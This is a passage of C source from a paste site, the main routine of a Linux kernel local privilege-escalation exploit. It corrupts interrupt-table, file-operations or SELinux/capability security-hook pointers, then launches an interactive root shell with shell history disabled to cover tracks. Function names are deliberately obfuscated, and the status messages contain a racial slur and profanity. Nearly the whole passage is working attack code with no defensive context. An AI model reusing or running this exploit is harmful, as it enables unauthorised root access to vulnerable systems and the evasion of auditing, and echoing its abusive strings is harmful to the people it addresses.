  811. __dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));
  812. }
  813. else
  814. {
  815. __pppp_tegddewyfg("$$$ Us1ng st4nd4rd s3ash3llz\n");
  816. __dhdyetgdfstreg__((void*)J0J0R00T, ttrg0ccc, sizeof(ttrg0ccc));
  817. *((unsigned int*)(J0J0R00T + R0C_0FF)) = uid;
  818. }
  819.  
  820. __pppp_tegddewyfg("$$$ 0p3n1ng th3 m4giq p0rt4l\n");
  821. s = socket(AF_INET, SOCK_DGRAM, 0);
  822. if(s < 0)
  823. __xxxfdgftr_hshsgdt("socket");
  824.  
  825. fillsocketcallAT();
  826.  
  827.  
  828. #ifdef TRY_REMAP_DEFAULT
  829. if(rey0y0code(Y0Y0CMAP) < 0)
  830. __yyy_tegdtfsrer("!!! Un4bl3 t0 r3m4p sh1t\t\n");
  831. #endif
  832.  
  833. if(useidt)
  834. {
  835.  
  836. __yyrhdgdtfs66ytgetrfd idtentry = idtb + (2*sizeof(__yyrhdgdtfs66ytgetrfd)*0xdd);
  837. __gggdfstsgdt_dddex("$$$ Us1ng 1dt 3ntry: %d\n", 0xdd);
  838. idt_smash((idtentry));
  839.  
  840. sleep(1);
  841. asm volatile("int $0xdd\t\n");
  842. }
  843. else if(usefops)
  844. {
  845. magiclen = get_socklen(_m_fops, Y0Y0STOP);
  846. magiclen -= 7*sizeof(__yyrhdgdtfs66ytgetrfd);
  847. __gggdfstsgdt_dddex("$$$ m4q1c p0rt4l l3n f0und: 0x%x\n", magiclen);
  848.  
  849. __pppp_tegddewyfg("$$$ 0v3r thr0w f0ps g0v3rnm3nt\n");
  850. bitch_call(&at, (void*)Y0Y0STOP);
  851. sleep(1);
  852.  
  853. fd = open(TMAGIC_66TDFDRTS, O_RDONLY);
  854. if(fd < 0)
  855. __xxxfdgftr_hshsgdt("!!! fuq t1m3r_l1st");
  856.  
  857. pfd.fd = fd;
  858. pfd.events = POLLIN | POLLOUT;
  859. poll(&pfd, 1, 0);
  860. }
  861. else if(uselsm)
  862. {
  863. int msqid;
  864. __yyrhdgdtfs66ytgetrfd selinux_msg_off = curr_target->selinux_ops + (8*RHEL_LSM_OFF);
  865. __yyrhdgdtfs66ytgetrfd dummy_msg_off = curr_target->dummy_security_ops + (8*RHEL_LSM_OFF);
  866. __yyrhdgdtfs66ytgetrfd capability_msg_off = curr_target->capability_ops + (8*RHEL_LSM_OFF);
  867.  
  868.  
  869. msqid = msgget(0, IPC_PRIVATE|0600);
  870. if(msqid < 0)
  871. __xxxfdgftr_hshsgdt("!!! fuqqqqqq msgg3t");
  872.  
  873.  
  874. magiclen = get_socklen(selinux_msg_off, Y0Y0STOP);
  875. __setmcbuffer(J0J0S);
  876. bitch_call(&at, (void*)Y0Y0STOP);
  877. magiclen = get_socklen(selinux_msg_off+4, Y0Y0STOP);
  878. __setmcbuffer(0);
  879. bitch_call(&at, (void*)Y0Y0STOP);
  880.  
  881.  
  882. magiclen = get_socklen(dummy_msg_off, Y0Y0STOP);
  883. __setmcbuffer(J0J0S);
  884. bitch_call(&at, (void*)Y0Y0STOP);
  885. magiclen = get_socklen(dummy_msg_off+4, Y0Y0STOP);
  886. __setmcbuffer(0);
  887. bitch_call(&at, (void*)Y0Y0STOP);
  888.  
  889.  
  890. magiclen = get_socklen(capability_msg_off, Y0Y0STOP);
  891. __setmcbuffer(J0J0S);
  892. bitch_call(&at, (void*)Y0Y0STOP);
  893. magiclen = get_socklen(capability_msg_off+4, Y0Y0STOP);
  894. __setmcbuffer(0);
  895. bitch_call(&at, (void*)Y0Y0STOP);
  896.  
  897.  
  898. msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it
  899. }
  900.  
  901. munmap((void*)Y0Y0CMAP, PAGE_SIZE);
  902.  
  903. /* exec */
  904. if(getuid() == 0)
  905. {
  906. pid_t pid;
  907. __pppp_tegddewyfg("$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP\n");
  908. pid = fork();
  909. if(pid == 0)
  910. {
  911. char *args[] = {"/bin/sh", "-i", NULL};
  912. char *envp[] = {"TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "HISTFILE=/dev/null", "HISTFILESIZE=0",
  913. "PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL };
  914. execve("/bin/sh", args, envp);
  915. }
  916. else
  917. {
  918. int status;
  919. waitpid(pid, &status, 0);
  920. }
  921. }
  922. else
  923. __pppp_tegddewyfg("!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!\n");
  924.  
  925. close(s);
  926. return 0;
  927. }
  928.  
  929. #endif // -m32
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!